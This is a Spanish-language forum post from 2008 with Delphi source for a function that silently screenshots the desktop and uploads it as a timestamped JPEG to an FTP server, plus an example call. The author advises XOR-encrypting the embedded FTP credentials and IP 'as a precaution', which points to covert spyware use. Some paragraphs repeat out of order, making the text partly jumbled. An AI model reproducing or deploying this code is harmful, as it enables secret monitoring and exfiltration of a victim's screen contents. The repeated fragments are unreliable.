[Delphi] Capturar pantalla y enviarla por FTP
Publicado: 22 Jun 2008, 00:20
El siguiente código muestra como capturar la pantalla y guardar la imagen en un archivo jpeg, que luego subimos a un servidor ftp. Para el ejemplo de subir el archivo uso WinInet.
Cabe anotar que seria recomendable encriptar/XORear datos como usuario/contraseña y IP FTP como precaución.
Funcion Upload Desktop JPG
Y para poner a funcionar la pieza del codigo, Un ejemplo de como usar la funcion anterior
En donde bastaria por cambiar los datos correspondientes
a usuario/password, FTP y puerto donde conecta.
Usuario:= 'fulanito';
Password:= 'password';
UploadScreen('127.0.0.1',21,PChar(Usuario),PChar(Password));
___________________
Para los que ensayaron lo expuesto en ejecución con espejo veran de nuevo el uso de Graphics y Jpeg en las capturas de pantalla, por lo que podria ser un buen complemento
Cabe anotar que seria recomendable encriptar/XORear datos como usuario/contraseña y IP FTP como precaución.
Funcion Upload Desktop JPG
Código: Seleccionar todo
uses Windows, SysUtils, Classes, Graphics, Jpeg, WinInet;
function UploadScreen(Server: string; Port: Word; Username, Password: PChar): Boolean;
var
hNet: HINTERNET;
hCon: HINTERNET;
hFile: HINTERNET;
Context: DWORD;
Bmp: Tbitmap;
Jpg: TJPEGImage;
Mem: TMemoryStream;
Escritos: Cardinal;
begin
Result := FALSE;
Context:= 0;
hNet := InternetOpen('agent', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
if (hNet <> nil) then
begin
hCon:= InternetConnect(hNet,PChar(Server),Port,Username,Password,
INTERNET_SERVICE_FTP,0,Context);
if (hCon <> nil) then
begin
hFile:= FtpOpenFile(hCon,PChar(FormatDateTime('ddmmyyhhnnss',Now)+'.jpg'),GENERIC_WRITE,
FTP_TRANSFER_TYPE_BINARY,Context);
if (hFile <> nil) then
begin
Bmp:= Tbitmap.Create;
Jpg:= TJPEGImage.Create;
Mem:= TMemoryStream.Create;
try
try
bmp.Width:= GetSystemMetrics(SM_CXSCREEN);
bmp.Height:= GetSystemMetrics(SM_CYSCREEN);
BitBlt(bmp.Canvas.Handle,0,0,bmp.Width,bmp.Height,GetDc(0),0,0,SRCCOPY);
jpg.Assign(bmp);
jpg.CompressionQuality:= 60;
jpg.Compress;
jpg.SaveToStream(Mem);
if InternetWriteFile(hFile,Mem.Memory,Mem.Size,Escritos) then
Result:= Mem.Size = Escritos
else
Result:= FALSE;
except end;
finally
Mem.Free;
Bmp.free;
Jpg.free;
end;
InternetCloseHandle(hFile);
end;
InternetCloseHandle(hCon);
end;
InternetCloseHandle(hNet);
end;
end;
Código: Seleccionar todo
var
Usuario: string;
Password: string;
begin
Usuario:= 'fulanito';
Password:= '';
UploadScreen('127.0.0.1',21,PChar(Usuario),PChar(Password));
end;
a usuario/password, FTP y puerto donde conecta.
Usuario:= 'fulanito';
Password:= 'password';
UploadScreen('127.0.0.1',21,PChar(Usuario),PChar(Password));
___________________
Para los que ensayaron lo expuesto en ejecución con espejo veran de nuevo el uso de Graphics y Jpeg en las capturas de pantalla, por lo que podria ser un buen complemento